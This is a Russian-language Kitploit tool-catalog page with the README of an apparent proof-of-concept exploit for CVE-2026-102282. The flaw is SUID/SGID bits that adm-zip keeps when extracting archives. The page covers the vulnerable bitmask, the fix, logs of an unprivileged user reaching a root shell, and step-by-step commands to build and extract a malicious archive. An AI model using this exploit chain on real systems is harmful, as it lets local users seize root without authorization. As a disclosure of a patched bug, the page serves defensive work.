Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
adm-zip_LPE-PoC — CVE-2026-102282: локальное повышение привилегий через сохранение SUID/SGID при извлечении архивов | Kitploit
Инструменты/GitHubGitHub/x86byte/adm-zip_lpe-poc
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВиртуализация для безопасностиБезопасность Цепочки ПоставокРазработка Полезной Нагрузки
GitHubx86byte/adm-zip_lpe-poc

adm-zip_LPE-PoC

CVE-2026-102282: локальное повышение привилегий через сохранение SUID/SGID при извлечении архивов

Репозиторий
103 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

CVE-2026-102282: локальное повышение привилегий в adm-zip через сохранение SUID

CVE GHSA CVSS

Описание

adm-zip — это устоявшаяся библиотека для работы с ZIP-архивами на чистом JavaScript для Node.js, насчитывающая более 20 миллионов загрузок в неделю в экосистеме npm. Она широко интегрирована в CI/CD-конвейеры, процессы сборки контейнеров, инструменты облачного развёртывания и серверные приложения для сжатия и распаковки архивов.

При распаковке adm-zip поддерживает параметр конфигурации keepOriginalPermission, предназначенный для восстановления POSIX-разрешений, записанных в архиве. Однако библиотека не отфильтровывала специальные биты режима файлов Unix, несущие привилегии: SUID (S_ISUID, 0o4000), SGID (S_ISGID, 0o2000) и sticky-бит (S_ISVTX, 0o1000).

Когда приложение распаковывает недоверенный ZIP-архив с keepOriginalPermission = true, работая с повышенными привилегиями (например, CI-раннер уровня root, точка входа Docker-контейнера или фоновый демон бэкенд-задач), adm-zip применяет указанные злоумышленником биты SUID/SGID к файловой системе через fs.chmodSync(). Это создаёт принадлежащий root исполняемый файл с SUID на хост-файловой системе, позволяя непривилегированному локальному пользователю выполнить этот бинарник и немедленно получить привилегии root.

Уязвимые версии

  • Уязвимые: adm-zip >= 0.5.10, <= 0.6.0
  • Исправленные: adm-zip >= 0.6.1

Ошибка

В спецификации формата ZIP PKWARE права доступа к файлам Unix хранятся в 32-битном поле external file attributes заголовка Central Directory (байты 38-41). В Unix-совместимых архивах старшие 16 бит кодируют тип файла и 12-битный режим POSIX-разрешений (0o7777).

В версиях <= 0.6.0 файл headers/entryHeader.js использовал 12-битную битовую маску (0xfff):

// headers/entryHeader.js
get fileAttr() {
    return (_attr || 0) >> 16 & 0xfff;
}

Битовая маска 0xfff (двоичное 1111 1111 1111) извлекает все младшие 12 бит, сохраняя не только стандартные разрешения на чтение/запись/выполнение (0o777), но и специальные биты разрешений 0o4000 (SUID), 0o2000 (SGID) и 0o1000 (Sticky).

Исправление

В версии 0.6.1 маска была ограничена значением 0o777 (десятичное 511), отсекая все специальные биты привилегий:

  get fileAttr() {
-     return (_attr || 0) >> 16 & 0xfff;
+     return (_attr || 0) >> 16 & 0o777;
  }

Триггер

Проблема возникает, когда при распаковке включён параметр keepOriginalPermission:

// adm-zip.js
const fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;
filetools.writeToFile(entryName, content, overwrite, fileAttr);

В файле util/utils.js извлечённый атрибут передавался напрямую в файловую систему без проверки:

// util/utils.js
self.fs.chmodSync(path, attr || 0o666);

Когда процесс распаковки выполняется от имени root (euid 0) на файловой системе, смонтированной без опции nosuid, fs.chmodSync() устанавливает извлечённому файлу режим 0o4755 (-rwsr-xr-x) с владельцем root:root.

Журналы выполнения

Уязвимая версия ([email protected])

Создание архива и привилегированная распаковка:

$ g++ -O2 Verify.cpp -o Verify
$ node BuildZip.js Verify exploit.zip tools/helper
Generated: exploit.zip -> tools/helper (mode 0o104755)

$ sudo node Extract.js exploit.zip /var/local/poc_out
Extracted exploit.zip into /var/local/poc_out

$ stat -c "%a %A %U:%G" /var/local/poc_out/tools/helper
4755 -rwsr-xr-x root:root

Выполнение непривилегированным локальным пользователем (uid=1000):

$ id
uid=1000(user) gid=1000(user) groups=1000(user)

$ /var/local/poc_out/tools/helper
[*] Real UID: 1000, Effective UID: 0
[+] SUID preserved. Escalating to root.
# id
uid=0(root) gid=0(root) groups=0(root)

Исправленная версия ([email protected])

$ sudo node Extract.js exploit.zip /var/local/poc_out_patched
Extracted exploit.zip into /var/local/poc_out_patched

$ stat -c "%a %A %U:%G" /var/local/poc_out_patched/tools/helper
755 -rwxr-xr-x root:root

$ /var/local/poc_out_patched/tools/helper
[*] Real UID: 1000, Effective UID: 1000
[-] Normal execution context (unprivileged).

Влияние

Когда недоверенные ZIP-файлы обрабатываются с повышенными привилегиями — например, автоматизированными агентами сборки, средами общего хостинга, процедурами инициализации serverless-контейнеров и фреймворками установки плагинов — непривилегированный пользователь может предоставить специально созданный архив, чтобы разместить произвольный принадлежащий root SUID-бинарник, что приводит к локальному повышению привилегий (LPE) и выполнению произвольного кода от имени root.

Как запустить

  1. Соберите проверочный бинарник и упакуйте специально созданный архив:
git clone https://github.com/x86byte/adm-zip_LPE-PoC.git
cd adm-zip_LPE-PoC/adm-zip_lpe
g++ -O2 Verify.cpp -o Verify
node BuildZip.js Verify exploit.zip tools/helper
  1. Распакуйте от имени root, используя уязвимую версию adm-zip:
npm install [email protected]
sudo node Extract.js exploit.zip /var/tmp/poc_out
  1. Убедитесь в наличии SUID-бита на диске:
stat -c "%a %A %U:%G" /var/tmp/poc_out/tools/helper
# Output: 4755 -rwsr-xr-x root:root
  1. Выполните от имени непривилегированного пользователя:
/var/tmp/poc_out/tools/helper

Примечание: целевой каталог распаковки должен находиться на файловой системе, смонтированной без опции nosuid.

Запись о рекомендации по безопасности

  • CVE ID: CVE-2026-102282
  • GitHub Advisory: GHSA-679w-jf3m-wh39
  • Запись в NVD: NVD Detail
  • Уровень серьёзности: High (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N — базовый балл 7.1)
  • Слабость (CWE): CWE-732 (Incorrect Permission Assignment for Critical Resource)
  • Статус выпуска: Скоординированное раскрытие, исправлено в вышестоящем релизе 0.6.1
Скачать инструмент